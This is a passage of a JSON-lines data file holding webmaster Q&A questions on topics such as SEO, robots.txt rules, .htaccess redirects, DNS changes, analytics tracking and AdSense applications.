to a limited cPanel and FTP for any form of site configuration. Any pointers appreciated. Thanks in advance."}
{"id":"28433","title":"Letting search engines know that different links to identical pages stress different parts of the page","text":"When you follow a permalink to a chat message in the Stack Exchange chat, you get a view of the transcript page for the day that contains the particular message. This message is highlighted in yellow, and the page is scrolled to its position. Sometimes - admittedly rarely, but it happens - a web search will result in such a transcript link. Here's a (constructed, obviously) example: A Google search for > strange behavior of the \\bibliography command site:chat.stackexchange.com gives me a link to this chat message. This message is obiously unrelated to my query, but the transcript page does indeed contain my search terms - just in a totally different spot. Both the above links lead to the same content, and Google knows this, since both pages have <link rel=\"canonical\" href=\"\/transcript\/41\/2012\/4\/9\/0-24\" \/> in their `<head>`. The only difference between the two links is _Which message has the`highlight` css class?_. Is there a way to let Google know that while all three links have the same content, they put an emphasis on a different _part_ of the content? Note that the permalinks on the transcript page already have a `#12345` hash to \"point\" to the relavant chat message, but Google appears to drop it."}
{"id":"14465","title":"GoDaddy 4GH Hosting Experiences?","text":"I've just come across GoDaddy's 4GH Hosting. It's incredibly cheap and the sales blurb makes it sound amazing. Anyone tried it out yet (particularly for ASP.NET \/ MS SQL Server sites)? I'd love to hear your experiences."}
{"id":"15591","title":"How to force browsers\/ISPs to look for my new DNS?","text":"I have changed the DNS for my domain. what code (or header) should I use in my old server to tell the visitor's browser or ISP that it should check for my new DNS and the current content is old? is the temp redirecting to a subdomain should help? or you know a better way?"}
{"id":"30611","title":"what is the preparation of before apply for ads?","text":"I have built a new site(finished last week, but no SEO, no clients). I know apply for ads need a long time. So I send my request to google adsense, and then do the `SEO`, send my site to web search. but yesterday I received an e-mail: `Thank you for your interest in Google AdSense. Unfortunately, after reviewing your application, we're unable to accept you into Google AdSense at this time.` what is the preparation of before apply for ads? Am I ignore something must do before apply for ads? And how to apply `Google doubleclicks`? Or other ads service? I am newer for apply for ads. can anyone recommend me some good ads service? Thanks."}
{"id":"56868","title":"URL for website with multiple currencies","text":"It seems that most of the websites which handle currencies keep track of the current currency throughout the user browser session and not through the URL itself. This way, when sharing the URL with friends, the content might not be the same since the browser session will be different. What do you think is the best practice to handle the URL of a website with multiple currencies? A different currency denotes different content hence my opinion is that it should be embedded within the URL itself, similarly to how one would embed the current language parameter within the URL or sub domain. What would you think is the best option? * Querystring parameter appended to each page, e.g. `\/en\/my-page\/?currency=USD` * URL folder, e.g. `\/en\/USD\/my-pages\/` Anything else?"}
{"id":"17508","title":"How can the Google Plus one Button aid in SEO","text":"> **Possible Duplicate:** > Will Google's New +1 Count For SEO I have setup the Google Plus One button on my website. I would like to know how it could affect the SEO of my pages. I heard that only on our friends' and contacts' computers, the results are improving. Or does it globally improve the rankings. I'm concerned about it because the JavaScript (yes the newest one) of the button slows down the site.If it is useful for global SEO only, I want to continue using it. Please advise."}
{"id":"31562","title":"Extension to add button \"Report to Bugzilla\"?","text":"We have: * internal MediaWiki installation for internal documents (we don't use it in completely wiki-like style--only maintainers should normally make changes) * internal Bugzilla installation for internal issues including these internal documents on the MediaWiki site Now only the icing on the cake is missing: an automatic button that would appear on each page, being able to * open a Bugzilla page * pre-fill some fields with information about that page Basically, name What I imagine as a best solution would be a sibling to the ubiquitous \"[edit]\" button, probably sitting next to it, like in this mock-up: "}
{"id":"31563","title":"Finding out what features of regular expressions are supported by mod_rewrite in Apache 1.3?","text":"Is there a particular regular expression engine that is used by mod_rewrite on Apache 1.3? I want to know so I can get a list of supported and non-supported features."}
{"id":"30972","title":"Google Adsense threshold estimation","text":"I've an electronic music blog with traffic mainly from the North American continent, Western Europe and Russia. Daily I get about 100 unique visitors with 150-200 pageviews. Should I start Adsense or I need to work to increase the traffic stats. Can you suggest another appropriate monetizing option for the given case? How much time It would take me to hit the 100$ Adsense barrier with the given traffic statistics?"}
{"id":"29682","title":"How do I add the copyright symbol to my webpage?","text":"How do I add the copyright symbol to my webpage?"}
{"id":"32734","title":"Preventing high bandwidth usage from Yandex","text":"Although I put a row for Yandex into my robots.txt file, sometimes Yandex indexes my website aggressively. So I hard coded a part and check for user agent, and serve cached file if user agent is like this: `\"Mozilla\/5.0 (compatible; YandexBot\/3.0; +http:\/\/yandex.com\/bots)\"` But when I check statcounter logs I recently saw that other Yandex related bots frequently crawl my site. They are similar to following. I took this info from my cPanel log: Beeline (128.69.243.12) Agent: Mozilla\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2) Referer: http:\/\/yandex.ru\/yandsearch?text=example.com&lr=213 Beeline (89.178.108.247) Referer: http:\/\/yandex.ru\/yandsearch?text=example.com&lr=213 Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) How can I block or serve cached pages these bots? When I check for `$_SERVER['HTTP_USER_AGENT']` I can't see \"`yandex.ru`\" in referrer. Referrer comes empty. Is it possible to find out referrer in cPanel log, but can't take it from `HTTP_USER_AGENT` ?? And I also I don't want to ban IPs because there exist too many IPs related with this issue and they are changed periodically. So how can I find out this bot? Does anybody has similar issue? Thank you"}
{"id":"31568","title":"List of websites\/domain name that's registered daily","text":"I want to know if there is a website that can provide me a list of domain names that is registered on a certain date. For example today or last week thursday? Does that website which can provide me such info exist? I really appreciate it if you can point out that web URL to me. Google is pointing me to different and irrelevant websites. I saw the whois but it don't display a list. Any help?"}
{"id":"202","title":"How do I handle having too many links on a webpage because of my menu","text":"I am developing a website that has a drop-down menu at the top of it. The Menu has around 100 links in it that are repeated on every page. Every page also has some number of links below the Menu that may or may not be in the menu itself. My issue is that Google says they generally don't like pages with more than 100 links on them. Is there any way to change the links on the menu so that they no longer \"count\" towards my max of 100 links? It seems like there should be an easy way to do this but their really doesn't seem to be. the rel=nofollow still counts towards the number of links on the page at least according to Google, so what other options do I have? I looked into where the 100 comes from and I found that it used to be here: http:\/\/www.google.com\/support\/webmasters\/bin\/answer.py?hl=en&answer=35769#2 but that is no longer the case. I found a more definitive and frankly muddier answer here: http:\/\/www.seomoz.org\/blog\/questions-answers-with-googles-spam- guru from Matt Cutts from 2007. Long story short, in 2007 they still felt 100 links was a good number but they stated you could go far beyond that. In fact, they said that pages with high PageRank could have 2-300. It did sound like having many links could reduce the PageRank of the page with all of the links or possibly all of the items linked to. Also, I know IIS7's SEO 1.0 toolkit suggests that pages should have no more than 250 links."}
{"id":"5600","title":"Safe directory for cron job PHP scripts","text":"I have a website which I run a PHP script for updating its Database. What is considered to be an acceptable location on the server to store such scripts? Obviously only the root (running a cronjob to start the script) should have access to it. Thanks, Joel"}
{"id":"63119","title":"Why doesn't FireFox cache my JavaScript file?","text":"I've been trying to figure out why Firefox does not cache my JavaScript file. I don't have this issue with Chrome or IE. Here is what my server's Response Header looks like: http:\/\/localhost:5012\/bundles\/scripts\/jquery?v=FVs3ACwOLIVInrAl5sdzR2jrCDmVOWFbZMY6g6Q0ulE1 Cache-Control public, max-age=2592000 Content-Encoding gzip Content-Length 42173 Content-Type text\/javascript; charset=utf-8 Date Fri, 23 May 2014 14:33:28 GMT Expires Sat, 23 May 2015 14:33:22 GMT Last-Modified Fri, 23 May 2014 14:33:22 GMT Server Microsoft-IIS\/7.5 Vary Accept-Encoding X-AspNet-Version 4.0.30319 X-Powered-By ASP.NET fod_vary_store User-Agent Please note: 1. There is no file extension. I use MS ASP.NET Optimization Framework to Bundle and minify my scripts. 2. My Firefox is 29.0.1. I have \"Remember History\" enabled. My question is a semi-duplicate of another question I found here: Why doesn't Firefox cache my images and CSS (without an accepted answer). It hinted to older versions of FireFox not caching any resources with query strings. However some of the users answered that the issue had been fixed in newer versions."}
{"id":"49766","title":"Concerns regarding registering a domain name with a home address","text":"If I purchase a domain, I'm usually required to enter an address. Usually, the address can be accessed publicly by any sort of WHOIS lookup. I'm uncomfortable publishing my real home address; what do people usually do? Lie? Purchase a P.O box?"}
{"id":"66960","title":"Should I have both example.com and www.example.com?","text":"I used to have a website which could be addressed by both `example.com` and `www.example.com` leading to the same page. Now, I moved to another server and only the `example.com` works. I got an email from Googlebot complaining that it cannot access `www.example.com`. I know I can make `www.example.com` point to `example.com`, but do I really need it? Why not have only `example.com`?"}
{"id":"204","title":"How can I keep track of changes to my website over time?","text":"Sometimes the boss wants to know who changed something on the website or changes their mind several times on where a button should go, what color something is, or whether or not a page should show up at all. Is there a simple way for a small 2-3 person web team to keep track of these constant changes?"}
{"id":"38372","title":"How to index Facebook & Twitter company pages by location?","text":"I own a regional business directory and want to collect and add URLs of company Facebook Pages and Twitter pages by location (City and\/or Zip code). What would be the best method to accomplish this task? Would using their API help? If so, how would I go about collecting this data (Company Page Name, URL, location)? Thank you."}
{"id":"58730","title":"How do I validate IP Address ownership for authentication?","text":"I have a website where digital content is behind a paywall. We verify users have access by IP address. Our customers are all large companies, with static IP addresses. So, if a user is within the network of their company, then they automatically have access to our site. The problem is, we have no way of validating that the companies actually own every address on the list of addresses they give us. Anyone have any ideas of how we verify that the companies actually own the IP addresses they are giving us."}
{"id":"52557","title":"Google Translate data tracked with gaTrack is not showing up in Google Analytics?","text":"I have a google translate widget on my website with `gaTrack` set to true and the correct `gaId`, but no translate events show up in analytics under content > Events > Overview after a week of the widget being live. The code snippet below was auto generated by the translate website, and works fine on the site. Any ideas why I'm not getting any translate events data? <li> <div id=\"google_translate_element\"><\/div><script type=\"text\/javascript\"> function googleTranslateElementInit() { new google.translate.TranslateElement({pageLanguage: 'en', layout: google.translate.TranslateElement.InlineLayout.SIMPLE, gaTrack: true, gaId: 'UA-blahblah'}, 'google_translate_element'); } <\/script><script type=\"text\/javascript\" src=\"\/\/translate.google.com\/translate_a\/element.js?cb=googleTranslateElementInit\"><\/script> <\/li>"}
{"id":"38379","title":"Do iframes have access to the cookies of the hosting domain?","text":"We want to build an ad-frame which will run on external sites (e.g. YYY.com). The external site will place an iframe to our site (ZZZ.com\/ourAdContent.html) and we will show some ads in this frame. The question is, will our iframe have access to the cookies belonging to our domain even when the _iframe_ is on a separate domain?"}
{"id":"55135","title":"Redirect multiple files using .htaccess","text":"I have a lot of files with a lot of sub directories which I moved one folder up, so, say, instead of `example.com\/cdn\/folder\/folder\/file.html`, it now looks like this `example.com\/folder\/folder\/file.html`. My problem lies in SEO, I have a lot of back links which point to files which used to be in the old directory structure, and everyone who tries to access these files via those links will get a 404. Now, I know that I can resolve the problem by adding a simple line of code in _.htaccess_ , so I have read quite a number of tutorials on the Internet which explain how to redirect files from one place to another using wildcards and `RedirectMatch` techniques. I have found a site which explains how to do it, but I can't seem to get it working. I don't know what my problem is. This is what I have come up with so far: `RedirectMatch 301 \/cdn\/folder\/folder\/(.*)\/(.*) http:\/\/example.com\/folder\/folder\/$1\/$2` This, however, does not do what I want it to do. Say, if someone accesses a file via `example.com\/cdn\/folder\/folder\/file.html`, they will get a 404. The code above does not resolve the problem. But, it does what I want it to do only for `example.com\/cdn\/folder`. Someone trying to access the subdirectory of `\/cdn` will be redirected to `\/folder`. Please point me in the right direction."}
{"id":"16755","title":"Using other's contents in your website","text":"How can I use someone other's article\/post on my own website? What is the legal way of doing this? Usually what I do is that I mention the **source** from where I got that post. Is there any other way? What ways do you follow to prevent yourself from copyright issues? Can I just use their content and not mention their name? Can I use a hidden HTML link of the source?"}
{"id":"55132","title":"How can I redirect old WordPress URL (with a query string) to new URL using .htaccess?","text":"I transferred my WordPress site to static HTML website, but some other website have a link to my old WordPress site `mysite.com\/?page_id=1103`. I want to redirect all traffic to new URL which is `mysite.com\/mypage.html`, but my redirect in _.htaccess_ file doesn't work. Maybe someone can help me with the line of code in _.htaccess_ file. I tried following but it didn't work: Redirect 301 \/?page_id=1103 http:\/\/mysite.com\/mypage.html"}
{"id":"55130","title":"Can I use <link> tags in the body of an HTML document?","text":"Can I use `<link>` tags in the body of an HTML page? I tried to find the answer to this question, but found contradictory information. When adding Schema.org microdata markup to an HTML page, I want to add canonical info in a link tag like this: <div itemscope itemtype=\"http:\/\/schema.org\/Book\"> <span itemprop=\"name\">The Catcher in the Rye<\/span>— <link itemprop=\"url\" href=\"http:\/\/en.wikipedia.org\/wiki\/The_Catcher_in_the_Rye\" \/> by <span itemprop=\"author\">J.D. Salinger<\/span> <\/div> I got the example code above from Schema.org. According to them, this is the way to go for people that want to add a canonical reference to an itemprop, but don't want to place a hyperlink on their website. W3 however clearly states that `<link>` tags should only be placed within the head section, thus making the Schema.org example invalid. If I want to stick to correct markup, which advice should I follow?"}
{"id":"52733","title":"Should I log the price when an item is added to a cart?","text":"Imagine the scenario, someone adds an item to a cart and then proceeds to check out. On the very rare occasion that the price in the DB is updated before they have reached the end of their checkout process, what should happen? I see it happening one of two ways: 1. At some point (probably on the confirm order page) they will notice the price has changed. I would save the price around this stage because I would also save an order to the DB (status- Pending). This is slightly undesirable as it may cause confusion to the customer why their order is more than they expected. 2. When they add the item to the cart I actually save the price then so that if they continue without ever removing it from the cart they will get it at the price listed for. The problem I see here is if there was a sale or something similar then the item in the cart could be left at a cheaper price for a long time (I'm happy for items to sit in the cart for a while as it means they may one day be bought). Any suggestions\/real world examples?"}
{"id":"56646","title":"Dynamic remarketing AdWords","text":"Dynamic remarketing have this note: > Dynamic remarketing requires a Google Merchant Center account. Google > Merchant Center is available in these countries: Australia, Austria, > Belgium, Brazil, Canada, the Czech Republic, Denmark, France, Germany, > India, Italy, Japan, Mexico, the Netherlands, Norway, Poland, Russia, Spain, > Sweden, Switzerland, Turkey, the U.K., and the U.S. Is some way to use Dynamic remarketing for other country, like Lithuania?"}
{"id":"55732","title":"Interpret data from Google Analytics (queries)","text":"I have this data in my Google Analytics > acquisition > search engine optimization > queries:  I don't really understand how to interpret it. 1. What does it mean the writing under the big numbers? For example at Clicks it is written 251 and under it smaller it is written % of Total: 125% (200) 2. Average position it is shown 64 for keywords \"erasmus plus\" but when I search from a computer that I did not use before and without an account to see my position in Google for \"erasmus plus\" keywords I am on the first page. How is it possible?"}
{"id":"52550","title":"How to get less visits to my website?","text":"I've read that a huge percentage of traffic comes from bots - legit bots like search engine spiders and illegitimate bots like spammers and ones looking for vulnerabilities. I'm about to launch my website. The problem is that I am about to sign a copyright license for some of the content on the website, and the contract says that I have to pay a certain sum of money depending on how many visits the site gets (per month). The more visits, the more it will cost. So I have an incentive in limiting traffic to only legitimate hits by blocking the crap. I don't want the website to get popular, so maybe I don't want the search engines to do too much indexing either. What should I be looking into?"}
{"id":"35593","title":"301 redirects. What's best way to get list of all my URL's to start the process of redirecting?","text":"New Magento version of a site about to launch. What the best way to create a list of URLs on my site that ensures I haven't missed any - so I can do redirects on them? nd do I want to redirect all links that are indexed, or is there a reason not to do some? Thanks a lot for any guidance. For some reason the eComm\/site admin guy here doesn't know the answer to this question."}
{"id":"35262","title":"Cannot access my own web page","text":"I am developing, learning and experimenting with php,html,javascript,flash and so on. Having web hosting and all of the cpanel, phpmyadmin and other utilities. One day, while updating information, connection between my computer and website just went down. I found out that it is only from this computer, where I cannot access anything. I don't know what is the reason I cannot access website, however this is what I have checked so far: * Everything else opens normally, having problem only with my page. * Cannot access FTP,cpanel or any kind of information related to the domain and hosting * ipconfigs detects IP, but shows request timed out (so its not browser related) * Turned off Firewall,AV, Rebooted computer * Cleared caches,temp,cookies,histry with CCleaner * Checked connectivity with both (wired,wireless) networks * ISP has dynamic IP that has been changed about 3 times since issue * Checked host file I am out of ideas and understanding what could cause this kind of issue, however couple minutes ago, found out that everything works with proxy server (when adding IP and port to the browsers) Can someone point out what should I check or try to get rid of this problem? Also tried: * ipconfig \/flushdns * removed all of the files from system32\/drivers\/etc Havent found solution yet, but I am very curious of what is causing this..."}
{"id":"47013","title":"Cannot log in to phpMyAdmin with users account: Get root override message","text":"I am trying to access phpMyAdmin but I get: `\"You are logged in with the root, or reseller's password\"` message, even though I am logged in using the users account (not my root account). I have tried clearing the cache and using another browser to no affect. Does anyone know a way round this?"}
{"id":"23256","title":"Slow DNS lookup on my site?","text":"I'm testing the loading speeds of my website. I've just done a test using Pingdom but it returns some strange (at least to me) results:  By the looks of it getting the DNS info takes the most time. Is this normal? Is there something I can do to speed this up?"}
{"id":"23703","title":"How do I find where my website ranks in Google for a keyword or group of keywords?","text":"I'd just like to know, if for a keyword, or a sentence, my website is in the search pages, and if so, where? Is there a way to do this?"}
{"id":"6424","title":"WHY my domain points back to previous IP after 1 day","text":"2 days ago, I applied a domain gtscomputers.com.au, and then changed the nameserver to the one from my hosting, and change all \"A Record\" to the IP 27.131.74.13. Yesterday, I applied another IP address 27.131.74.36 and changed all \"A Records\" to the new IP, this morning the domain has been pointed to the new IP. However, when I tried to access the website tonight, it has been point back to the previous IP address 27.131.74.13. I'm using 8.8.8.8 (Google DNS) on my PC, and after I change to ISP's DNS, the website is pointed to the new IP which is correct, because this DNS has not been updated yet. Can anyone tell me what's going on? I have checked all DSN settings."}
{"id":"12457","title":"Why does the Bing bot request this URL?","text":"While checking server logs, I have seen that often the Bing bot requests this URL. **URL:** \/da-net\/products\/cadpac\/cadpac_jis.shtml **Browser:** Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm) Can anyone explain this?"}
{"id":"15336","title":"How does Google put the \"shine\" on the \"block all foo.com results\" link that appears?","text":"To repro: 1. Go to google and do a search (for example, follow this link to search for Jeff Atwood) 2. Follow the first result. 3. Hit back in Chrome. 4. Observe that the text that appears that says \"Block all codinghorror.com results\" has a \"shine\" affect that occurs to draw your eye to it. This happens on all sites I follow a link from while logged in to Google using Chrome. How is this achieved? I've recorded it here. The HTML from the relevant section: <img src=\"\/images\/experiments\/shimmer_mask.png\" style=\"position: absolute; top: 64px; z-index: 500; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-color: initial; left: 228px; \">"}
{"id":"15331","title":"Is it possible to block an entire site to Google then list exceptions?","text":"I usually disallow subdirectories in the robots.txt file and I was wondering if it's possible to do it the other way: block everything and list the main index file and the others pages I'd like search engines to index. Is that possible? My current robots.txt is as follows: User-agent: * Disallow: \/example\/ Disallow: \/example\/ Disallow: \/example\/ Disallow: \/example\/ Disallow: \/example\/ Disallow: \/example\/ Disallow: \/example\/ Disallow: yea.html Allow: \/"}
{"id":"12453","title":"what are benefits of URL rewriting?","text":"URL rewriting has become quite popular, but I think it only adds more complexity to the Web. Old fashioned URL's are often called \"dirty URLs\", so I'll use that term. It is argued that with rewriting it makes the URL more \"discoverable\" but how is it more discoverable with this URL www.magic.com\/date\/2010\/02\/02 than this URL? www.magic.com\/date=2010-02-02 I believe people would discover more with the old fashioned URL than the rewrite URL. With the good old fashioned URL, using ampersands and equal signs, you are actually telling the search engines how they relate to each other. With slashes you can't. They don't know that `\/2010\/02\/02` is actually a date or how the numbers relate to the `\/date\/`. It merely assumes that it's a different directory with different data. With `date=2010-02-02` I believe it'll allow search engines to figure out how they relate to each other. Dirty URLs can easily be shortened with URL shortener services, but everyone copies a URL and pastes it; they don't write it. It's much simpler if they write down a dirty URL that's well laid out. A URL like `goo.gl\/8aPtuI` seems more cognitively difficult than `generic.com\/awesome`. I read an argument that search engines stop at URLs that look dynamically generated, but I am skeptical. Virtually all websites are dynamically created, so why would they stop there? I'd also think that dirty URL's can be meta-rich if you do it right. www.generic.com\/rate=5&name=Allen&sex=m and it's much easier for engines to see how they are related than doing this, www.generic\/com\/rate\/5\/name\/Allen\/sex\/m. What are the real advantages?"}
{"id":"27017","title":"Tool to check resource load order","text":"Is there a tool I can show clients that will take a page's HTML and show: a) the order in which external resources will load, b) which resources are blocked on other resources being downloaded? For example: JavaScript in the head blocks any images from loading further down the page and browsers can only load 6 resources at a time from a given domain\/subdomain."}
{"id":"54955","title":"Possible to drop the original query parameters entirely in a rewritten URL?","text":"Original URL looks something like `domain.com\/filename.php?id1=333&id2=444`. Desired rewritten URL is something like `domain.com\/my-rewritten-url`. I can imagine creating a lookup table with columns for the ids and a column for the rewrite string, but is this realistic\/practical?"}
{"id":"27011","title":"Google Analytics Campaigns Not Tracking E-Commerce","text":"I am running email campaigns via MailChimp and tracking the success of my campaigns via Google Analytics. I can successfully see data being tracked for: Reporting > Conversions > Ecommerce (Receiving Data) Reporting > Traffic Sources > Campaigns (Receiving Data) However, I am not receiving any Ecommerce data for the individual campaigns: `Reporting > Traffic Sources > Campaigns > Ecommerce (No data)` So I see data like: `Visits: 18,501` `Revenue: $0.00` Everything I have read leads me to believe this should just `\"work\"` if Ecommerce is setup. Is there some additional action I need to take for this work? Any help would be appreciated!"}
{"id":"37555","title":"Disadvantage of creating tracking source","text":"Is there disadvantages of creating your own link tracking source (Example: ?src=publication ) instead of using Google's utm_source? Two things that I see that it's an advantage using my own tracking code are: A little bit cleaner in the URL I can easily filter the content by \"?src=\""}
{"id":"53090","title":"How to properly use related search links on sites without taking a negative SEO hit?","text":"On a search results page, I want to show related search links. These links are generated by user searches, that aren't already part of the site's regular links. This, in effect was to increase the number of links on the site. I had created a small widget that showed ten related search links. The site took a negative hit, and I'm guessing this was because on each page, ten new links would appear, and essentially creating thousands of new pages. I want to be able to dynamically add some user-generated searches to the site without taking an SEO hit. Obviously I can no-follow those links, but that then defeats the purpose. What's the best way to go about this?"}
{"id":"18856","title":"MySQL, SQLServer, Oracle, Postgree, CouchDB, MongoDB, Cassandra or SQLite?","text":"Who database engine is better, in performance and usability?"}
{"id":"22253","title":"How to test robots.txt in googlebot to find out what is being indexed","text":"This question is a continuation for this answer How to check if googlebot will index a given url? As was told I did go to the Webmaster Tools and tested contents of my robots.txt file. However this is just giving me the info if that content is good enough or not. However for my scenario I need to test whether disallowing some patterns is being indexed or not. For example I have something like this below in my robots.txt disallow:\/pattern* My understanding is the URLs with word pattern should not crawled, but how do I test this pattern is enforced while indexing the website?"}
{"id":"22256","title":"Should a mobile-only site use robots.txt?","text":"I have a mobile site that is distinct from the corresponding desktop site. The sites share the same content, but the mobile site files are in a completely different directory. The main site had a robots.txt file, but I'm wondering if I need one for the mobile site too. Anyone have any thoughts?"}
{"id":"58408","title":"Fake domain and hosted email addresses issue?","text":"Many email addresses for domain `rustamtowel.com` have been compromised. My client forwarded me an old email which he sent me few days ago but I haven't received that email. That email was sent to `cs@rustamt0wel.com` instead of `cs@rustamtowel.com` (`0` zero instead of `O`). Then I came to know that another domain has been register just like my domain name. Someone also quote my client with wrong prices from wrong email address `ceo@rustamt0wel.com`. How can I check that who is involved and be safe for future. Who can be responsible? 1. My domain registration guy 2. My web hosting company 3. Someone from my own office"}
{"id":"25703","title":"Creating a video upload form, what is a realistic file size limit?","text":"My page is asking users to upload their photos and videos, but I want to limit the file size. What is a realistic size limit for short video (under 30 sec) shot on a iphone or android."}
{"id":"60440","title":"How do I troubleshoot rewrite and permalink issues for wordpress using IIS 7 W2008?","text":"I know this question is kind of a WP and kind of a webmaster issue. I am really stuck troubleshooting how IIS is handling rewrites and permalinks. Anyone that can offer an explanation or demarcation of the topic would be helping out a ton. Background: Tons of WP (and non WP) sites on a subdomain (at big company). I must use subdomain and cannot be issued any other URLs. So all of my sites sit in sub directories. I know this is not optimal but have no choice. All of my WP sites sat at least one directory level up from root - they were all working fine given that I used a permalink structure that included index.php\/%whatever. Everyone is happy. The root of the subdomain was a redirect to another site. They asked me to close the redirect and take our sandbox\/mainsite and move it to root. I made backups of files and database tables and hastily moved site to root... Big problems... Basically any site that I installed WP on more than a few weeks ago refuses to work with any sort of permalink structure. Default works. Anything else is jacked up - sometimes they work in Chrome\/FF but not IE (it is not a cache issue), sometimes if I change the permalink on WP backend I cannot reach anything but homepage, sometimes I see the permalink url when hovering but it takes me somewhere else, sometimes media paths were messed up (so site looks like it is missing css). Basically I have screwed up the entire rewrite process on the server - without making one change to IIS. What makes this more frustrating is that I do have a few WP sites that I just installed that the permalink stuff works perfectly on... Also all non-WP sites are working fine of course. I can give you all the info you need but site is intranet - but could do screenshots if needed. Where do I start troubleshooting this?"}
{"id":"55799","title":"Is my whole site is blocked by this Disallow: \/","text":"This is a view of my _robots.txt_ file did this query blocked only Baiduspider Search Engine or all of the search engines to check my site. User-agent: Baiduspider Disallow: \/ User-agent: * Disallow: \/templates_c\/"}
{"id":"6769","title":"Advertising \/ Premium Access sales strategies","text":"Glad to be here. Been tooling around on S\/O for a year or so now. Anyway, I run a very localized site that caters to the bar industry and its patrons. You can check it out at jcbarguide.com if you need a reference. Anyhow, I've written the whole thing from the ground up and culled a lot of original content. The binaries on the site require that I actually visit each location so I have formed real-world relationships with the owners of many of the establishments and many of them are appreciative and supportive of the site. In the last month, I have finally bested YELP in SERPs for key search phrases (jersey city bars, bars in jersey city, jersey city bar, etc) I celebrated this milestone by letting many of my contacts have up to 3 free ROS 728x90 leaderboards for a month. NO ONE took me up on the offer. It's been so hard to generate any sort of money on this property and I'm wondering why. I wrote an admin interface to update each bar profile that I was charging access to that no one wanted. I gave it away for free after 2 months and only 2 or 3 bar owners\/managers utilize it. I've had friends tell me that I suck at selling the concept. others say that if I don't charge, no one will want it (perceived value) and others that just say the site has yet to reach a level of value that these owners and managers will finally notice. As far as I am concerned, I'd think these owners would jump at a site that's ranking as well and being visited as much as mine is. The municipality that the site serves isn't exactly the most affluent of stable hub for commerce out there. Any thoughts from you on establishing your online property's value are appreciated. Thanks, Rob"}
{"id":"6768","title":"Amazon Web Services Free Trial: query about get and put requests","text":"Amazon recently introduced a free tier for its cloud offering. I signed up for AWS and while signing up for the free tier of S3, i found this > As part of AWS Free Usage Tier, you can get started with Amazon S3 for free. > Upon sign-up, new AWS customers receive 5 GB of Amazon S3 storage, **20,000 > Get Requests, 2,000 Put Requests,** 15GB of bandwidth in and 15GB of > bandwidth out each month for one year. source:aws.amazon.com , emphasis mine. 20,000 GET requests & 2000 puts mean , 20,000 page views(max) and 2000 file uploads per month. Isn't that lower than what App Engine offers 43,200,000 requests per day.Am I missing some thing, please help."}
{"id":"6766","title":"Need help getting user friendly URL","text":"I trying to get a user friendly URL. My current link is this: http:\/\/www.norwegianfashion.no\/designers\/?designer=Batlak-og-Selvig&bid=9 What I want is this http:\/\/www.norwegianfashion.no\/designers\/Batlak-og-Selvig\/ What do I need to do in order to get this URL? Anything I can do in .htaccess file? **Update** I'm using Wordpress which has it's own permalink structure. I'm not sure if it's possible to add URL-rewrite? I'm also looking at this link: http:\/\/articles.sitepoint.com\/article\/guide- url-rewriting\/2 , but I'm not very succesfull."}
{"id":"43334","title":"Discrepancy between Google cached meta description and description in search result","text":"I have developed a 1 page website to deal with time zone world clocks. I have noticed that Google has the latest version of the page in its cache, so it has access to the latest meta description. However, it still displays the old meta description in search results. It has been like this for several days. I have resubmitted the page in Google Webmaster several days ago. Why doesn't Google update to the new meta description?"}
{"id":"9977","title":"SEO: 301 for a page which has no mirrow path?","text":"I just did a 301 and the domain and some pages which have a mirror file path are fine. But I have one directory which is not going to be part of the new site and I don't know how to redirect the old files that were there. I need something like this: oldDomain\/oldDir\/file.php and I need to make it redirect to newDomain\/differentDir\/file.php Is that possible? What is the 301 redirect rule for that? **update** I just added this rule as suggested by @Itai and it didn't work redirectMatch permanent ^\/outdoors\/trees\/tanoak.php$ http:\/\/www.comehike.com\/outdoors\/trees\/129\/Tanoak any idea why?"}
{"id":"56446","title":"What's the purpose of unique webserver names?","text":"Previously I would set the name servers of a domain to what the hosting company told me (e.g. ns1.hostingcompany.com). I've now started buying domains from a company that lets you make your own nameservers (e.g. ns1.mywebsite.com) and I just enter the IP for them (I presume of my webhost server). My question, what is the point of this? Is it purely cosmetic? (I do find this cool, that I'd have ns1.mysite.com, but I'm a geek, is there any other advantage or disadvantage to this?"}
{"id":"54301","title":"How to structure my AdWords campaign for testing and different groups of keywords?","text":"I am starting an AdWords campaigns and I will measure conversion rates using the AdWords conversion tracking pixel. Conversion might be account creation or a concrete sale. As it will be a test campaign to have some insights on CTR, CR, etc... on the future, I am likely to try several configurations: * Two different ads with different landing URL and messages: one with a focus on the product \/ the other will contains a discount embedded in the URL. * 4 different groups or themes of keywords. I guess I have to * build 4 ads groups based on the keywords * 2 ads with the different messages * assign the two ads to each ads groups * follow the campaign precisely in the ads tabs where I can see the effectiveness of each Ads per Ads Groups (for a total of 8 lines of reporting) Also, what are the key performance indicators that I can have from an AdWords campaign to measure global effectiveness? * measure of return on investment from concrete sales (tracking pixel with e-commerce tag on confirmation page) * measure o return on investment from leads acquisition (tracking pixel on account creation) * measure of traffic increase with the campaign"}
{"id":"56440","title":"Is it ok to 301 redirect deleted pages to the homepage in order to preserve link juice? -- Even if the homepage is unrelated content?","text":"I'm about to delete 40+ pages that have quality link juice (I'm deleting them for copy write issues). I'd prefer not to do a 404 header on all of them, because I want to preserve inbound links to those pages for SEO. Can I do a 301 redirect to the homepage for all of the deleted pages? I'm concerned because the homepage isn't similar content (It states that a 301 redirect should only be done if the page being redirected to is similar content). If 301 redirects for the deleted pages is the wrong approach, then what should I do?"}
{"id":"9978","title":"Why use flash to as content headings? Why not?","text":"A large number of sites lately which use **Flash to replace what would be simple HTML headings (h1, h2, h3)**. Some of them do it consistently for every header. **Why would you do this? What are the pros and cons of this?** This seems strange to me and really inefficient, particularly since a page can have dozens of headers. I notice this because I use Flash Block (which temporarily disables Flash), so not everyone may have seen it. Just today I landed here with 4 flash headers. I've seen dozens of such use of Flash this week alone, and I am wondering if this has some benefits."}
